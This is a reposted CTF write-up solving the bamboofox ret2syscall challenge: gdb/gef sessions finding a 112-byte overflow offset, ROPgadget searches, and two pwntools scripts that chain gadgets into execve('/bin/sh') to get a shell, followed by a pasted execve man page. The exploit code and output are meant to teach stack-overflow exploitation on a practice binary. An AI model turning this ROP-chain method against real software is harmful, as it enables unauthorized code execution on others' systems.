ROP----The Solution For Ret2syscall

淩亂°似流年 2021-10-29 16:10 508阅读 0赞

APP:

  https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop

TOOLS:

  Gef plugin of gdb ROPgadget

Solution:

1. Check the length of input buffer.

# gdb rop

  1. gef checksec rop //Check if the binary has been protected.
  2. [+] checksec for '/root/ROP/rop'
  3. Canary : No
  4. NX : Yes //NX protection has been enabled,we need rop to exploit it.
  5. PIE : No
  6. Fortify : No
  7. RelRO : Partial
  8. gef disassemble main
  9. Dump of assembler code for function main:
  10. 0x08048e24 <+0>: push ebp
  11. 0x08048e25 <+1>: mov ebp,esp
  12. 0x08048e27 <+3>: and esp,0xfffffff0
  13. 0x08048e2a <+6>: add esp,0xffffff80
  14. 0x08048e2d <+9>: mov eax,ds:0x80ea4c0
  15. 0x08048e32 <+14>: mov DWORD PTR [esp+0xc],0x0
  16. 0x08048e3a <+22>: mov DWORD PTR [esp+0x8],0x2
  17. 0x08048e42 <+30>: mov DWORD PTR [esp+0x4],0x0
  18. 0x08048e4a <+38>: mov DWORD PTR [esp],eax
  19. 0x08048e4d <+41>: call 0x804f960 <setvbuf>
  20. 0x08048e52 <+46>: mov eax,ds:0x80ea4c4
  21. 0x08048e57 <+51>: mov DWORD PTR [esp+0xc],0x0
  22. 0x08048e5f <+59>: mov DWORD PTR [esp+0x8],0x1
  23. 0x08048e67 <+67>: mov DWORD PTR [esp+0x4],0x0
  24. 0x08048e6f <+75>: mov DWORD PTR [esp],eax
  25. 0x08048e72 <+78>: call 0x804f960 <setvbuf>
  26. 0x08048e77 <+83>: mov DWORD PTR [esp],0x80be410
  27. 0x08048e7e <+90>: call 0x804f7e0 <puts>
  28. 0x08048e83 <+95>: mov DWORD PTR [esp],0x80be43b
  29. 0x08048e8a <+102>: call 0x804f7e0 <puts>
  30. 0x08048e8f <+107>: lea eax,[esp+0x1c]
  31. 0x08048e93 <+111>: mov DWORD PTR [esp],eax
  32. 0x08048e96 <+114>: call 0x804f650 <gets>
  33. 0x08048e9b <+119>: mov eax,0x0
  34. 0x08048ea0 <+124>: leave
  35. 0x08048ea1 <+125>: ret
  36. End of assembler dump.
  37. gef b * 0x08048ea1 //Create a breakpoint at return address for main function.
  38. Breakpoint 1 at 0x8048ea1: file rop.c, line 15.
  39. gef pattern create 128 //Generate a payload string.
  40. [+] Generating a pattern of 128 bytes
  41. aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab
  42. [+] Saved as '$_gef0'
  43. gef r
  44. Starting program: /root/ROP/rop
  45. This time, no system() and NO SHELLCODE!!!
  46. What do you plan to do?
  47. aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab
  48. Breakpoint 1, 0x08048ea1 in main () at rop.c:18
  49. [+] Searching 'gaab'
  50. [+] Found at offset 124 (big-endian search)
  51. gef ni //Step over to next address,check the return infomation for 'ret' opcode.
  52. 0x62616164 in ?? ()
  53. [ Legend: Modified register | Code | Heap | Stack | String ]
  54. ───────────────────────── registers ────
  55. $eax : 0x0
  56. $ebx : 0x080481a8 <_init+0> push ebx
  57. $ecx : 0xfbad2288
  58. $edx : 0x080eb4e0 0x00000000
  59. $esp : 0xffffd360 "eaabfaabgaab"
  60. $ebp : 0x62616163 ("caab"?)
  61. $esi : 0x0
  62. $edi : 0x080ea00c 0x08067b10 <__stpcpy_sse2+0> mov edx, DWORD PTR [esp+0x4]
  63. $eip : 0x62616164 ("daab"?) //The stack pointer has been here,it has been overwriten by "daab".
  64. $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
  65. $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
  66. ─────────────────────────── stack ────
  67. 0xffffd360│+0x0000: "eaabfaabgaab" $esp
  68. 0xffffd364│+0x0004: "faabgaab"
  69. 0xffffd368│+0x0008: "gaab"
  70. 0xffffd36c│+0x000c: 0x00000000
  71. 0xffffd370│+0x0010: 0x00000000
  72. 0xffffd374│+0x0014: 0x080481a8 <_init+0> push ebx
  73. 0xffffd378│+0x0018: 0x00000000
  74. 0xffffd37c│+0x001c: 0x080ea00c 0x08067b10 <__stpcpy_sse2+0> mov edx, DWORD PTR [esp+0x4]
  75. ────────────────────────code:x86:32 ────
  76. [!] Cannot disassemble from $PC
  77. [!] Cannot access memory at address 0x62616164
  78. ────────────────────────threads ────
  79. [#0] Id 1, Name: "rop", stopped, reason: SINGLE STEP
  80. ─────────────────────trace ────
  81. gef pattern search daab //Check the offset for eip stack pointer,we could be ensure that the length of input buffer is 112.
  82. [+] Searching 'daab'
  83. [+] Found at offset 112 (big-endian search)
  84. 2. Overwrite the return address by system calling.
  85. It can be seen that this is still a stack overflow. Similar to the previous approach, we can get a program input length of buffer is 112. This time, because we can't directly use a piece of code in the program or fill in the code to get the shell, we use the gadgets in the program to get the shell, and the corresponding shell acquisition uses the system call.
  86. To put it simply, as long as we put the parameters of the system call corresponding to the get shell into the corresponding registers, we can execute the corresponding system call by executing int 0x80. For example, here we use the following system call to get the shell
  87. execve("/bin/sh",NULL,NULL)
  88. 1> Set system calling flag to 0xb,mov eax,0xb.
  89. 2> First parameter is a address for "/bin/sh",or any other address which could execute "/bin/sh".
  90. 3> Second parameter is ecx's value,set it to 0,mov ecx,0x0
  91. 4> Third parameter is edx's value,set it to 0,mov edx,0x0

And how do we control the values of these registers? Here you need to use gadgets. For example, if the top of the stack is now 10, then if pop eax is executed at this time, the value of eax is now 10. But we can’t expect a continuous code to control the corresponding registers at the same time, so we need a piece of control, which is why we use ret at the end of the gadgets to control the execution flow again. To find a way to gadgets, we can use the ropgadgets tool.

First, let’s look for gadgets that control eax.

# ROPgadget —binary rop —only ‘pop|ret’ | grep ‘eax’

  1. 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080bb196 : pop eax ; ret 0x0807217a : pop eax ; ret 0x80e 0x0804f704 : pop eax ; ret 3 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

You can see that all of the above can control eax, and I choose the second one as gadgets. Similarly, we can get gadgets that control other registers.

# ROPgadget —binary rop —only ‘pop|ret’ | grep ‘ebx’

  1. 0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret 0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret 0x080be23f : pop ebx ; pop edi ; ret 0x0806eb69 : pop ebx ; pop edx ; ret 0x08092258 : pop ebx ; pop esi ; pop ebp ; ret 0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10 0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14 0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc 0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4 0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8 0x08048913 : pop ebx ; pop esi ; pop edi ; ret 0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4 0x08049a94 : pop ebx ; pop esi ; ret 0x080481c9 : pop ebx ; ret 0x080d7d3c : pop ebx ; ret 0x6f9 0x08099c87 : pop ebx ; ret 8 0x0806eb91 : pop ecx ; pop ebx ; ret 0x0806336b : pop edi ; pop esi ; pop ebx ; ret 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret 0x0805c820 : pop esi ; pop ebx ; ret 0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0807b6ed : pop ss ; pop ebx ; ret Here i choose
  2. 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

This can directly control the other three registers. In addition, we need to get the address corresponding to the /bin/sh string.

# ROPgadget —binary rop —string ‘/bin/sh’

  1. Strings information
  2. ============================================================
  3. 0x080be408 : /bin/sh
  4. You can find the corresponding address, in addition, there is an address of int 0x80, as follows # ROPgadget --binary rop --only 'int'
  5. Gadgets information
  6. ============================================================
  7. 0x08049421 : int 0x80
  8. 0x080938fe : int 0xbb
  9. 0x080869b5 : int 0xf6
  10. 0x0807b4d4 : int 0xfc
  11. Unique gadgets found: 4
  12. At the same time, I also found the corresponding address.
  13. The following is the corresponding payload, where 0xb is the system call number corresponding to execve
  14. #!/usr/bin/env python
  15. from pwn import *
  16. sh = process('./rop') pop_eax_ret = 0x080bb196 pop_edx_ecx_ebx_ret = 0x0806eb90 int_0x80 = 0x08049421 binsh = 0x80be408 payload = flat( ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80]) sh.sendline(payload) sh.interactive() We could generate a automatic script like below:
  17. #!/usr/bin/env python2
  18. from pwn import *
  19. sh = process('rop')
  20. elf = ELF('rop')
  21. def pwn(sh,payload):
  22. sh.recvuntil('?')
  23. sh.sendline(payload)
  24. sh.interactive()
  25. rop = ROP(elf)
  26. '''
  27. execve("/bin/sh",NULL,NULL)
  28. mov eax,0xb
  29. mov ecx,0x0
  30. mov edx,0x0
  31. ebx --> address for sh or /bin/sh
  32. '''
  33. ret_eax = rop.find_gadget(['pop eax','ret'])[0]
  34. ret_edx_ecx_ebx = rop.find_gadget(['pop edx','pop ecx','pop ebx','ret'])[0]
  35. ret_int = rop.find_gadget(['int 0x80'])[0]
  36. bin_sh = elf.search('/bin/sh').next()
  37. payload = flat(['a'*112,ret_eax,0xb,ret_edx_ecx_ebx,0,0,bin_sh,ret_int])
  38. pwn(sh,payload)

Reference:

How to Run the Attack Code

1> Place the code in the buffer

2> Overflow the buffer

3> Overwrite the return address

How to call execve

1> Have the “/bin/sh” in memory.

2> Have the “/bin/sh” in memory followed by a null long word.

3> Copy 0xb into the eax register (al low byte).

4> Copy the address of the string “/bin/sh” into ebx

5> Copy the address of the address of the string “/bin/sh” into ecx.

6> Copy the address of the null long word into edx

7> Execute the int 0x80 instruction

  1. ┌─[root@parrot]─[~/ROP]
  2. └──╼ #man execve
  3. EXECVE(2) Linux Programmer's Manual EXECVE(2)
  4. NAME
  5. execve - execute program
  6. SYNOPSIS
  7. #include <unistd.h>
  8. int execve(const char *filename, char *const argv[],
  9. char *const envp[]);
  10. DESCRIPTION
  11. execve() executes the program pointed to by filename. This causes the program that is
  12. currently being run by the calling process to be replaced with a new program, with
  13. newly initialized stack, heap, and (initialized and uninitialized) data segments.
  14. filename must be either a binary executable, or a script starting with a line of the
  15. form:
  16. #! interpreter [optional-arg]
  17. For details of the latter case, see "Interpreter scripts" below.
  18. argv is an array of argument strings passed to the new program. By convention, the
  19. first of these strings (i.e., argv[0]) should contain the filename associated with the
  20. file being executed. envp is an array of strings, conventionally of the form
  21. key=value, which are passed as environment to the new program. The argv and envp ar‐
  22. rays must each include a null pointer at the end of the array.
  23. The argument vector and environment can be accessed by the called program's main func
  24. tion, when it is defined as:
  25. int main(int argc, char *argv[], char *envp[])
  26. Note, however, that the use of a third argument to the main function is not specified
  27. in POSIX.1; according to POSIX.1, the environment should be accessed via the external
  28. variable environ(7).
  29. execve() does not return on success, and the text, initialized data, uninitialized
  30. data (bss), and stack of the calling process are overwritten according to the contents
  31. of the newly loaded program.
  32. If the current program is being ptraced, a SIGTRAP signal is sent to it after a suc
  33. cessful execve().
  34. If the set-user-ID bit is set on the program file pointed to by filename, then the ef
  35. fective user ID of the calling process is changed to that of the owner of the program
  36. file. Similarly, when the set-group-ID bit of the program file is set the effective
  37. group ID of the calling process is set to the group of the program file.
  38. The aforementioned transformations of the effective IDs are not performed (i.e., the
  39. set-user-ID and set-group-ID bits are ignored) if any of the following is true:
  40. * the no_new_privs attribute is set for the calling thread (see prctl(2));
  41. * the underlying filesystem is mounted nosuid (the MS_NOSUID flag for mount(2)); or
  42. * the calling process is being ptraced.
  43. The capabilities of the program file (see capabilities(7)) are also ignored if any of
  44. the above are true.
  45. The effective user ID of the process is copied to the saved set-user-ID; similarly,
  46. the effective group ID is copied to the saved set-group-ID. This copying takes place
  47. after any effective ID changes that occur because of the set-user-ID and set-group-ID
  48. mode bits.
  49. The process's real UID and real GID, as well its supplementary group IDs, are un‐
  50. changed by a call to execve().
  51. If the executable is an a.out dynamically linked binary executable containing shared-
  52. library stubs, the Linux dynamic linker ld.so(8) is called at the start of execution
  53. to bring needed shared objects into memory and link the executable with them.
  54. If the executable is a dynamically linked ELF executable, the interpreter named in the
  55. PT_INTERP segment is used to load the needed shared objects. This interpreter is typ‐
  56. ically /lib/ld-linux.so.2 for binaries linked with glibc (see ld-linux.so(8)).
  57. All process attributes are preserved during an execve(), except the following:
  58. * The dispositions of any signals that are being caught are reset to the default
  59. (signal(7)).
  60. * Any alternate signal stack is not preserved (sigaltstack(2)).
  61. * Memory mappings are not preserved (mmap(2)).
  62. * Attached System V shared memory segments are detached (shmat(2)).
  63. * POSIX shared memory regions are unmapped (shm_open(3)).
  64. * Open POSIX message queue descriptors are closed (mq_overview(7)).
  65. * Any open POSIX named semaphores are closed (sem_overview(7)).
  66. * POSIX timers are not preserved (timer_create(2)).
  67. * Any open directory streams are closed (opendir(3)).
  68. * Memory locks are not preserved (mlock(2), mlockall(2)).
  69. * Exit handlers are not preserved (atexit(3), on_exit(3)).
  70. * The floating-point environment is reset to the default (see fenv(3)).
  71. The process attributes in the preceding list are all specified in POSIX.1. The fol‐
  72. lowing Linux-specific process attributes are also not preserved during an execve():
  73. * The prctl(2) PR_SET_DUMPABLE flag is set, unless a set-user-ID or set-group ID pro‐
  74. gram is being executed, in which case it is cleared.
  75. * The prctl(2) PR_SET_KEEPCAPS flag is cleared.
  76. * (Since Linux 2.4.36 / 2.6.23) If a set-user-ID or set-group-ID program is being ex‐
  77. ecuted, then the parent death signal set by prctl(2) PR_SET_PDEATHSIG flag is
  78. cleared.
  79. * The process name, as set by prctl(2) PR_SET_NAME (and displayed by ps -o comm), is
  80. reset to the name of the new executable file.
  81. * The SECBIT_KEEP_CAPS securebits flag is cleared. See capabilities(7).
  82. * The termination signal is reset to SIGCHLD (see clone(2)).
  83. * The file descriptor table is unshared, undoing the effect of the CLONE_FILES flag
  84. of clone(2).
  85. Note the following further points:
  86. * All threads other than the calling thread are destroyed during an execve(). Mu‐
  87. texes, condition variables, and other pthreads objects are not preserved.
  88. * The equivalent of setlocale(LC_ALL, "C") is executed at program start-up.
  89. * POSIX.1 specifies that the dispositions of any signals that are ignored or set to
  90. the default are left unchanged. POSIX.1 specifies one exception: if SIGCHLD is be‐
  91. ing ignored, then an implementation may leave the disposition unchanged or reset it
  92. to the default; Linux does the former.
  93. * Any outstanding asynchronous I/O operations are canceled (aio_read(3),
  94. aio_write(3)).
  95. * For the handling of capabilities during execve(), see capabilities(7).
  96. * By default, file descriptors remain open across an execve(). File descriptors that
  97. are marked close-on-exec are closed; see the description of FD_CLOEXEC in fcntl(2).
  98. (If a file descriptor is closed, this will cause the release of all record locks
  99. obtained on the underlying file by this process. See fcntl(2) for details.)
  100. POSIX.1 says that if file descriptors 0, 1, and 2 would otherwise be closed after a
  101. successful execve(), and the process would gain privilege because the set-user-ID
  102. or set-group_ID mode bit was set on the executed file, then the system may open an
  103. unspecified file for each of these file descriptors. As a general principle, no
  104. portable program, whether privileged or not, can assume that these three file de‐
  105. scriptors will remain closed across an execve().
  106. Interpreter scripts
  107. An interpreter script is a text file that has execute permission enabled and whose
  108. first line is of the form:
  109. #! interpreter [optional-arg]
  110. The interpreter must be a valid pathname for an executable file. If the filename ar‐
  111. gument of execve() specifies an interpreter script, then interpreter will be invoked
  112. with the following arguments:
  113. interpreter [optional-arg] filename arg...
  114. where arg... is the series of words pointed to by the argv argument of execve(),
  115. starting at argv[1].
  116. For portable use, optional-arg should either be absent, or be specified as a single
  117. word (i.e., it should not contain white space); see NOTES below.
  118. Since Linux 2.6.28, the kernel permits the interpreter of a script to itself be a
  119. script. This permission is recursive, up to a limit of four recursions, so that the
  120. interpreter may be a script which is interpreted by a script, and so on.
  121. Limits on size of arguments and environment
  122. Most UNIX implementations impose some limit on the total size of the command-line ar‐
  123. gument (argv) and environment (envp) strings that may be passed to a new program.
  124. POSIX.1 allows an implementation to advertise this limit using the ARG_MAX constant
  125. (either defined in <limits.h> or available at run time using the call
  126. sysconf(_SC_ARG_MAX)).
  127. On Linux prior to kernel 2.6.23, the memory used to store the environment and argument
  128. strings was limited to 32 pages (defined by the kernel constant MAX_ARG_PAGES). On
  129. architectures with a 4-kB page size, this yields a maximum size of 128 kB.
  130. On kernel 2.6.23 and later, most architectures support a size limit derived from the
  131. soft RLIMIT_STACK resource limit (see getrlimit(2)) that is in force at the time of
  132. the execve() call. (Architectures with no memory management unit are excepted: they
  133. maintain the limit that was in effect before kernel 2.6.23.) This change allows pro‐
  134. grams to have a much larger argument and/or environment list. For these architec‐
  135. tures, the total size is limited to 1/4 of the allowed stack size. (Imposing the
  136. 1/4-limit ensures that the new program always has some stack space.) Since Linux
  137. 2.6.25, the kernel places a floor of 32 pages on this size limit, so that, even when
  138. RLIMIT_STACK is set very low, applications are guaranteed to have at least as much ar‐
  139. gument and environment space as was provided by Linux 2.6.23 and earlier. (This guar‐
  140. antee was not provided in Linux 2.6.23 and 2.6.24.) Additionally, the limit per
  141. string is 32 pages (the kernel constant MAX_ARG_STRLEN), and the maximum number of
  142. strings is 0x7FFFFFFF.
  143. RETURN VALUE
  144. On success, execve() does not return, on error -1 is returned, and errno is set appro‐
  145. priately.
  146. ERRORS
  147. E2BIG The total number of bytes in the environment (envp) and argument list (argv) is
  148. too large.
  149. EACCES Search permission is denied on a component of the path prefix of filename or
  150. the name of a script interpreter. (See also path_resolution(7).)
  151. EACCES The file or a script interpreter is not a regular file.
  152. EACCES Execute permission is denied for the file or a script or ELF interpreter.
  153. EACCES The filesystem is mounted noexec.
  154. EAGAIN (since Linux 3.1)
  155. Having changed its real UID using one of the set*uid() calls, the caller was—
  156. and is now still—above its RLIMIT_NPROC resource limit (see setrlimit(2)). For
  157. a more detailed explanation of this error, see NOTES.
  158. EFAULT filename or one of the pointers in the vectors argv or envp points outside your
  159. accessible address space.
  160. EINVAL An ELF executable had more than one PT_INTERP segment (i.e., tried to name more
  161. than one interpreter).
  162. EIO An I/O error occurred.
  163. EISDIR An ELF interpreter was a directory.
  164. ELIBBAD
  165. An ELF interpreter was not in a recognized format.
  166. ELOOP Too many symbolic links were encountered in resolving filename or the name of a
  167. script or ELF interpreter.
  168. ELOOP The maximum recursion limit was reached during recursive script interpretation
  169. (see "Interpreter scripts", above). Before Linux 3.8, the error produced for
  170. this case was ENOEXEC.
  171. EMFILE The per-process limit on the number of open file descriptors has been reached.
  172. ENAMETOOLONG
  173. filename is too long.
  174. ENFILE The system-wide limit on the total number of open files has been reached.
  175. ENOENT The file filename or a script or ELF interpreter does not exist, or a shared
  176. library needed for the file or interpreter cannot be found.
  177. ENOEXEC
  178. An executable is not in a recognized format, is for the wrong architecture, or
  179. has some other format error that means it cannot be executed.
  180. ENOMEM Insufficient kernel memory was available.
  181. ENOTDIR
  182. A component of the path prefix of filename or a script or ELF interpreter is
  183. not a directory.
  184. EPERM The filesystem is mounted nosuid, the user is not the superuser, and the file
  185. has the set-user-ID or set-group-ID bit set.
  186. EPERM The process is being traced, the user is not the superuser and the file has the
  187. set-user-ID or set-group-ID bit set.
  188. EPERM A "capability-dumb" applications would not obtain the full set of permitted ca‐
  189. pabilities granted by the executable file. See capabilities(7).
  190. ETXTBSY
  191. The specified executable was open for writing by one or more processes.
  192. CONFORMING TO
  193. POSIX.1-2001, POSIX.1-2008, SVr4, 4.3BSD. POSIX does not document the #! behavior,
  194. but it exists (with some variations) on other UNIX systems.
  195. NOTES
  196. One sometimes sees execve() (and the related functions described in exec(3)) described
  197. as "executing a new process" (or similar). This is a highly misleading description:
  198. there is no new process; many attributes of the calling process remain unchanged (in
  199. particular, its PID). All that execve(2) does is arrange for an existing process (the
  200. calling process) to execute a new program.
  201. Set-user-ID and set-group-ID processes can not be ptrace(2)d.
  202. The result of mounting a filesystem nosuid varies across Linux kernel versions: some
  203. will refuse execution of set-user-ID and set-group-ID executables when this would give
  204. the user powers she did not have already (and return EPERM), some will just ignore the
  205. set-user-ID and set-group-ID bits and exec() successfully.
  206. On Linux, argv and envp can be specified as NULL. In both cases, this has the same
  207. effect as specifying the argument as a pointer to a list containing a single null
  208. pointer. Do not take advantage of this nonstandard and nonportable misfeature! On
  209. many other UNIX systems, specifying argv as NULL will result in an error (EFAULT).
  210. Some other UNIX systems treat the envp==NULL case the same as Linux.
  211. POSIX.1 says that values returned by sysconf(3) should be invariant over the lifetime
  212. of a process. However, since Linux 2.6.23, if the RLIMIT_STACK resource limit
  213. changes, then the value reported by _SC_ARG_MAX will also change, to reflect the fact
  214. that the limit on space for holding command-line arguments and environment variables
  215. has changed.
  216. In most cases where execve() fails, control returns to the original executable image,
  217. and the caller of execve() can then handle the error. However, in (rare) cases (typi‐
  218. cally caused by resource exhaustion), failure may occur past the point of no return:
  219. the original executable image has been torn down, but the new image could not be com‐
  220. pletely built. In such cases, the kernel kills the process with a SIGKILL signal.
  221. Interpreter scripts
  222. A maximum line length of 127 characters is allowed for the first line in an inter‐
  223. preter script.
  224. The semantics of the optional-arg argument of an interpreter script vary across imple‐
  225. mentations. On Linux, the entire string following the interpreter name is passed as a
  226. single argument to the interpreter, and this string can include white space. However,
  227. behavior differs on some other systems. Some systems use the first white space to
  228. terminate optional-arg. On some systems, an interpreter script can have multiple ar‐
  229. guments, and white spaces in optional-arg are used to delimit the arguments.
  230. Linux ignores the set-user-ID and set-group-ID bits on scripts.
  231. execve() and EAGAIN
  232. A more detailed explanation of the EAGAIN error that can occur (since Linux 3.1) when
  233. calling execve() is as follows.
  234. The EAGAIN error can occur when a preceding call to setuid(2), setreuid(2), or setre‐
  235. suid(2) caused the real user ID of the process to change, and that change caused the
  236. process to exceed its RLIMIT_NPROC resource limit (i.e., the number of processes be‐
  237. longing to the new real UID exceeds the resource limit). From Linux 2.6.0 to 3.0,
  238. this caused the set*uid() call to fail. (Prior to 2.6, the resource limit was not im‐
  239. posed on processes that changed their user IDs.)
  240. Since Linux 3.1, the scenario just described no longer causes the set*uid() call to
  241. fail, because it too often led to security holes where buggy applications didn't check
  242. the return status and assumed thatif the caller had root privilegesthe call would
  243. always succeed. Instead, the set*uid() calls now successfully change the real UID,
  244. but the kernel sets an internal flag, named PF_NPROC_EXCEEDED, to note that the
  245. RLIMIT_NPROC resource limit has been exceeded. If the PF_NPROC_EXCEEDED flag is set
  246. and the resource limit is still exceeded at the time of a subsequent execve() call,
  247. that call fails with the error EAGAIN. This kernel logic ensures that the
  248. RLIMIT_NPROC resource limit is still enforced for the common privileged daemon work
  249. flownamely, fork(2) + set*uid() + execve().
  250. If the resource limit was not still exceeded at the time of the execve() call (because
  251. other processes belonging to this real UID terminated between the set*uid() call and
  252. the execve() call), then the execve() call succeeds and the kernel clears the
  253. PF_NPROC_EXCEEDED process flag. The flag is also cleared if a subsequent call to
  254. fork(2) by this process succeeds.
  255. Historical
  256. With UNIX V6, the argument list of an exec() call was ended by 0, while the argument
  257. list of main was ended by -1. Thus, this argument list was not directly usable in a
  258. further exec() call. Since UNIX V7, both are NULL.
  259. EXAMPLE
  260. The following program is designed to be execed by the second program below. It just
  261. echoes its command-line arguments, one per line.
  262. /* myecho.c */
  263. #include <stdio.h>
  264. #include <stdlib.h>
  265. int
  266. main(int argc, char *argv[])
  267. {
  268. int j;
  269. for (j = 0; j < argc; j++)
  270. printf("argv[%d]: %s\n", j, argv[j]);
  271. exit(EXIT_SUCCESS);
  272. }
  273. This program can be used to exec the program named in its command-line argument:
  274. /* execve.c */
  275. #include <stdio.h>
  276. #include <stdlib.h>
  277. #include <unistd.h>
  278. int
  279. main(int argc, char *argv[])
  280. {
  281. char *newargv[] = { NULL, "hello", "world", NULL };
  282. char *newenviron[] = { NULL };
  283. if (argc != 2) {
  284. fprintf(stderr, "Usage: %s <file-to-exec>\n", argv[0]);
  285. exit(EXIT_FAILURE);
  286. }
  287. newargv[0] = argv[1];
  288. execve(argv[1], newargv, newenviron);
  289. perror("execve"); /* execve() returns only on error */
  290. exit(EXIT_FAILURE);
  291. }
  292. We can use the second program to exec the first as follows:
  293. $ cc myecho.c -o myecho
  294. $ cc execve.c -o execve
  295. $ ./execve ./myecho
  296. argv[0]: ./myecho
  297. argv[1]: hello
  298. argv[2]: world
  299. We can also use these programs to demonstrate the use of a script interpreter. To do
  300. this we create a script whose "interpreter" is our myecho program:
  301. $ cat > script
  302. #!./myecho script-arg
  303. ^D
  304. $ chmod +x script
  305. We can then use our program to exec the script:
  306. $ ./execve ./script
  307. argv[0]: ./myecho
  308. argv[1]: script-arg
  309. argv[2]: ./script
  310. argv[3]: hello
  311. argv[4]: world
  312. SEE ALSO
  313. chmod(2), execveat(2), fork(2), get_robust_list(2), ptrace(2), execl(3), fexecve(3),
  314. getopt(3), system(3), credentials(7), environ(7), path_resolution(7), ld.so(8)
  315. COLOPHON
  316. This page is part of release 4.16 of the Linux man-pages project. A description of
  317. the project, information about reporting bugs, and the latest version of this page,
  318. can be found at https://www.kernel.org/doc/man-pages/.
  319. Linux 2018-04-30 EXECVE(2)

转载于:https://www.cnblogs.com/heycomputer/articles/10981420.html

发表评论

表情:
评论列表 (有 0 条评论,508人围观)

还没有评论,来说两句吧...

相关阅读

    相关 ret2libc

    retlibc ret2libc是返回导向编程(ROP)的一种,在开始数据执行保护的情况下,可以利用ROP执行shellcode 前置知识(栈空间与函数调用) 如